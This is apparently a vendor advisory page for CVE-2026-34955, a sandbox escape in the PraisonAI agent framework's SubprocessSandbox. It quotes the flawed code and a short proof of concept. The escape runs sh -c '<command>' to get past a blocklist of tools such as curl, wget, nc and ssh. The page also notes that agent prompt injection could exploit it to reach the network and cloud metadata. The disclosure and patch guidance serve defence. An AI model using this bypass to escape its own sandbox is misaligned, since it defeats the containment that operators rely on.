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🐍 PyPI
Not in CISA KEV
HIGH severity

CVE-2026-34955 — praisonai

HIGH

CVE-2026-34955 is a high-severity (CVSS 8.8) OS Command Injection vulnerability in praisonai. A fix is available for praisonai — see the affected versions and patch details below.

PraisonAI: Sandbox Escape via shell=True and Bypassable Blocklist in SubprocessSandbox

Also known asGHSA-r4f2-3m54-pp7qPYSEC-2026-2921
Published
Apr 3, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-34955.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs32th percentile — riskier than 32% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-34955 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍praisonai

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

SubprocessSandbox in all modes (BASIC, STRICT, NETWORK_ISOLATED) calls subprocess.run() with shell=True and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include sh or bash as standalone executables, allowing trivial sandbox escape in STRICT mode via sh -c '<command>'.

Details

sandbox_executor.py:179 (source) -> sandbox_executor.py:326 (sink)

# source -- string-pattern blocklist, sh and bash not in blocked_commands
cmd_name = Path(parts[0]).name
if cmd_name in self.policy.blocked_commands:  # sh, bash not blocked
    raise SecurityError(...)
dangerous_patterns = [
    ("| sh",   ...),   # requires space -- "id|bash" evades this
    ("| bash", ...),   # requires space
]

# sink -- shell=True spawns /bin/sh regardless of sandbox mode
result = subprocess.run(
    command,
    shell=True,
    ...
)

PoC

# tested on: praisonai==4.5.87 (source install)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.cli.features.sandbox_executor import SubprocessSandbox, SandboxPolicy, SandboxMode

policy = SandboxPolicy.for_mode(SandboxMode.STRICT)
sandbox = SubprocessSandbox(policy=policy)

result = sandbox.execute("sh -c 'id'")
print(result.stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...

Impact

Users who deploy with --sandbox strict have no meaningful OS-level isolation. Any command blocked by the policy (curl, wget, nc, ssh) is trivially reachable via sh -c '<blocked_command>'. Combined with agent prompt injection, an attacker can escape the sandbox and reach the network, filesystem, and cloud metadata services.

Suggested Fix

import shlex

result = subprocess.run(
    shlex.split(command),
    shell=False,
    cwd=cwd,
    env=env,
    capture_output=capture_output,
    text=True,
    timeout=timeout
)

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpraisonaiall versions4.5.97pip install --upgrade 'praisonai==4.5.97'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonai, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update praisonai to 4.5.97 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-34955 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-34955 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-34955. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary `SubprocessSandbox` in all modes (BASIC, STRICT, NETWORK_ISOLATED) calls `subprocess.run()` with `shell=True` and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include `sh` or `bash` as standalone executables, allowing trivial sandbox escape in STRICT mode via `sh -c '<command>'`. ### Details `sandbox_executor.py:179` (source) -> `sandbox_executor.py:326` (sink) ```python # source -- string-pattern blocklist, sh and bash not in blocked_commands cmd_name = Path(parts[0]).name if cmd_name in self.policy.blocked_commands: # sh, bash n
O3 Security · Impact-Aware SCA

Is CVE-2026-34955 in your dependencies?

O3 Security finds CVE-2026-34955 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-34955: praisonai (High 8.8) | O3 Security